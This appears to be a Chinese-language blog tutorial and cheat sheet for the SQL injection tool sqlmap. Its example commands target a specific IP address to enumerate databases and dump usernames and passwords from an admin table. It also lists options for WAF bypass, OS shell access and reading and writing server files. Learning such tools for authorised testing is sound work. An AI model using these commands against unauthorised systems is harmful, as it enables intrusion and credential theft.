SQLMap

概述

​ SQLMap是一款开源、自动化的SQL注入漏洞检测工具,主要功能是扫描、发现并利用给定URL的SQL注入漏洞,能够检测动态页面中的get/post参数、cookie、http头、还可以查看数据、文件系统访问、甚至能够操作系统命令执行。

支持的数据库:MySQL、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb

检测方式:union联合查询注入、布尔盲注、时间盲注、报错注入、堆叠注入

基本参数

1、更新 --update

python2 sqlmap.py --update

2、查看常用参数 -h

python2 sqlmap.py -h

3、查看全部参数 -hh

python2 sqlmap.py -hh

4、查看版本 --version

python2 sqlmap.py --version

5、查看执行过程 -v (一共有0~6,默认为1)

python2 sqlmap.py -v 3

6、确定目标 -u

​ 指定URL,以get请求方式

python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1”

在这里插入图片描述

6、查询当前数据库 --current-db

python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” --current-db
在这里插入图片描述

7、查询所有数据库信息 --dbs

python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” --dbs

在这里插入图片描述

8、查询所有的表 --tables (根据给定的字典一一进行枚举)

python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” --tables

在这里插入图片描述

9、指定数据库 -D database_name

python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” -D maoshe

10、指定表名 -T table_name

python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” -T admin

11、查询所有字段名 --columns

python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” -D maoshe -T admin --columns

在这里插入图片描述

12、 指定字段名 -C column_name

python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” -T admin -C id,username,password

13、查看/下载 数据 --dump

python2 sqlmap.py -u “http://59.63.200.79:8003/?id=1” -T admin -C id,username,password --dump

14、 自动选是 --batch

python2 sqlmap.py -u URL --batch

15、指定扫描的参数 -p

pthon2 sqlmap.py -u URL -p 参数

16、以post请求提交 -r request.txt

抓包将POST请求数据包保存到txt文件中,*表示需要扫描的参数

进阶操作

1、查看服务器主机名 --hostname

2、查询 数据库用户角色 --roles

3、查询所有的数据库账号 --users

4、查询当前数据库账号 --current-user

5、查询username的权限 —Privileges -U username

6、暴力破解字段 --common-columns

暴力破解字段,应用于两种情况:①无权限读取数据。②mysql<5.0 ,没有infomation_schema库

7、暴力破解表 --common-tables

8、清空session --flush-session

9、查询数据库的版本信息 -b

10、设置HTTP Referer头 --referer

11、计数,查看有多少条数据 --count

12、使用随机的浏览器代理头 --random-agent

13、指定主机头 -host

​ --host= “aaa”

14、设置请求方式 --method

15、设置超时时间,默认为30秒 --timeout

16、设置http连接的重试次数,默认为3秒

17、设置 基于时间的注入检测 对应的延迟时间,默认为5秒 --time-sec

18、探测等级 --level

一共有五个等级(1–5),默认为1,等级2:检测cookie中是否含有注入,等级3:检测user-agent、referer是否含有注入,等级5:检测host是否含有注入

19、风险等级 --risk

共有四个等级,默认是1会测试大部分的测试语句,2会基于事件的测试语句,3会增加or语句的SQL注入测试

20、保持连接 --keep-alive

​ 长连接、性能好,避免重复建立的网络开销,但是 大量的长连接会占用资源

注意:与 --proxy参数不兼容

21、查询 当前数据库账号是否有管理权限 --is-dba

22、使用代理去扫描目标,代理软件占用的端口在8080 --proxy

—proxy-cred:使用代理时的账号和密码

—proxy-cred=”name:pass”

—ignore-proxy : 忽略系统级代理设置,通常用于扫描本地网络目标,本网段。

23、指定操作系统 --os

python2 sqlmap.py -u URL --os=“windows”

24、检测是否有WAF --check-waf

25、绕过WAF/IPS/IDS --hpp=

26、运行自定义SQL语句 --sql-shell

27、运行任意操作系统命令

  • –os-cmd
  • –os-shell

–os-shell:直接获得目标的CMD权限,当–is-dba为True时才有可能使用成功

28、从数据库服务器中读取文件 --file-read

29、上传文件带数据库服务器中

  • –file-write
  • –file-dest

30、指定数据库管理系统 --dbms

  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值